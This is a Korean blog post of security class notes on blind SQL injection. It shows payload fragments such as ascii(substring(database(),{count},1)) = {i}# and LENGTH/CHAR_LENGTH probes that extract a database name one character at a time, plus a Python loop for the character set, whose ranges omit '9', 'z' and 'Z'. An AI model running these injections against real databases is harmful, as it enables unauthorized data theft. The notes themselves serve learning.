본문 바로가기
정보보안

정보보안8 11차시

by IT매니절 2024. 12. 15.

대소문자, 숫자, _를 이용해서 DB명을 만들 수 있다.
이때문에 db명을 알아낼 때 ord('a'), ord('z')+1의 범위만으로는 부족하다

 

데이타의 값 알아내기

for i in range(ord('0'), ord('z')+1):

for문 돌리고
ascii(substring(database(),{count},1)) = {i}#

아스키코드로 database()를 substring으로 잘라 하나씩 비교한다

 

이 때 대소문자,숫자,특문 구분은

if (i not in range(ord('0'), ord('9')) and
            i not in range(ord('a'), ord('z')) and
            i not in range(ord('A'), ord('Z')) and
            i != ord('_')):
            continue

아스키 코드값을 기준으로 전체를 돌리되 해당하는 구간이 아니면 continue하게 했는데 뭔가 코드가 지저분한 것 같아서, 좀 더 좋은 방법이 없을지... 하다가 아래처럼 수정.

ValidList = []
ValidList.append(ord('_'))
ValidList.extend(range(ord('0'), ord('9')))
ValidList.extend(range(ord('a'), ord('z')))
ValidList.extend(range(ord('A'), ord('Z')))

#아래쪽 필요한 곳에서
if i not in ValidList: continue

파이썬에 리스트와 리스트를 추가하려면 extend를 쓰면 된다고 한다.

 

데이타의 길이 알아내기
LENGTH(database()) = {i}
CHAR_LENGTH(database()) = {i}
=> LENGTH는 바이트수이기 때문에 한글에는 쓸 수 없다
CHAR_LENGTH(=CHARACTER_LENGTH)의 경우 몇개의 문자가 있는지를 가져온다

'안녕'의 경우 LENGTH는 6, CHAR_LENGTH는 2이다

 

ascii(substring(database(),{count+1},1)) = 0#

=> 이 코드는 DB명에 숫자0이 들어가 있을 때 명확하게 판단할 수 없다

 

 

'정보보안' 카테고리의 다른 글

정보보안8 8차시  (0) 2024.12.01
정보보안8 7차시  (0) 2024.11.30
정보보안8 6차시  (0) 2024.11.24
정보보안8 5차시  (0) 2024.11.23
정보보안8 4차시  (0) 2024.11.17